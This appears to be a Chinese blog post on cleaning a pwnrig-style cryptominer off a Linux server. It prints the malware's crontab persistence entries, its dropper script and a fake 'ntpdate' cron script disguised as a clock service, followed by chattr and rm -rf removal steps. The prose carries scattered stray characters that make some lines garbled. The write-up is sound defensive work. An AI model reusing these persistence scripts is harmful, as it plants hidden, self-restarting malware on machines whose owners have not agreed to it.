背景
服務(wù)器CPU使用率50%,被兩個進(jìn)程占用,名稱分別為
-mysql
zfsutils-md5sum
診斷
使用crontab -l查看定時任務(wù)矩屁,發(fā)現(xiàn)病毒文件-mysql
[root@server1 ~]# crontab -l
* * * * * /var/.log/-mysql > /dev/null <&1 2>&1 & disown
@monthly /var/.log/-mysql > /dev/null <&1 2>&1 & disown
@reboot /var/.log/-mysql > /dev/null <&1 2>&1 & disown
查看這個/var/.log/目錄棚点,發(fā)現(xiàn)更多病毒文件,-mysql是個腳本冻璃,內(nèi)容如下
[root@server1 .log]# ll
total 2904
-rwxr-xr-x. 1 root root 1087356 Dec 17 2020 i686
-rwxr-xr-x. 1 root root 115 Dec 29 01:16 -mysql
-rwxr-xr-x. 1 root root 1878380 Feb 15 2021 x86_64
[root@server1 .log]# cat ./-mysql
#!/bin/bash
cd -- /var/.log
mkdir -- .-mysql
cp -f -- x86_64 .-mysql/-mysql
./.-mysql/-mysql -c
rm -rf -- .-mysql
查看/etc/crontab.daily目錄响谓,發(fā)現(xiàn)一個文件名為ntpdate
[root@server1 cron.hourly]# cat /etc/cron.hourly/ntpdate
#!/bin/bash
#
# Start/Stop the pwnrig clock daemon
#
# chkconfig 2345 90 60
# description: sync clock (GNU System)
cp -f -r -- /bin/sysprg /usr/bin/-mysql 2>/dev/null
cd /usr/bin/ 2>/dev/null
./-mysql -c >/dev/null
rm -rf -- -mysql 2>/dev/null
/bin/sysprg創(chuàng)建日期與ntupdate是同一天,文件大小與x86_64相同省艳,無疑也是個病毒文件娘纷。
清除病毒
- 殺掉進(jìn)程
- 刪除crontab -e 中的內(nèi)容,但是發(fā)現(xiàn)無法刪除
[root@server1 nps]# crontab -e
crontab: installing new crontab
crontab: error renaming /var/spool/cron/#tmp.XXXXGFRvjK to /var/spool/cron/root
rename: Operation not permitted
crontab: edits left in /tmp/crontab.Bw1XGv
進(jìn)入到/var/spool/cron目錄查看文件權(quán)限跋炕,發(fā)現(xiàn)被加了保護(hù)赖晶,使用lsattr去除,再編輯刪除內(nèi)容即可
[root@server1 cron]# lsattr ./root
----i--------e- ./root
[root@server1 cron]# chattr -ia ./root
[root@server1 cron]# crontab -e
crontab: installing new crontab
- 清除/etc/crontab.xxx中的文件ntpdate辐烂,發(fā)現(xiàn)都被加了保護(hù)無法刪除遏插,同樣適用lsattr進(jìn)行權(quán)限去除
注意/etc/sysconfig/ntpdate不要刪除
[root@server1 /etc]# chattr -ia `find . -name "ntpdate"`
[root@server1 /etc]# rm /etc/cron.daily/ntpdate
- 清除病毒文件
[root@server1 /var]# rm /var/.log -rf
[root@server1 /var]# chattr -ia /bin/sysprg
[root@server1 /var]# rm /bin/sysprg -rf
防范措施
禁用crontab
service crond stop
mv /var/spool/cron /var/spool/cron_is_disabled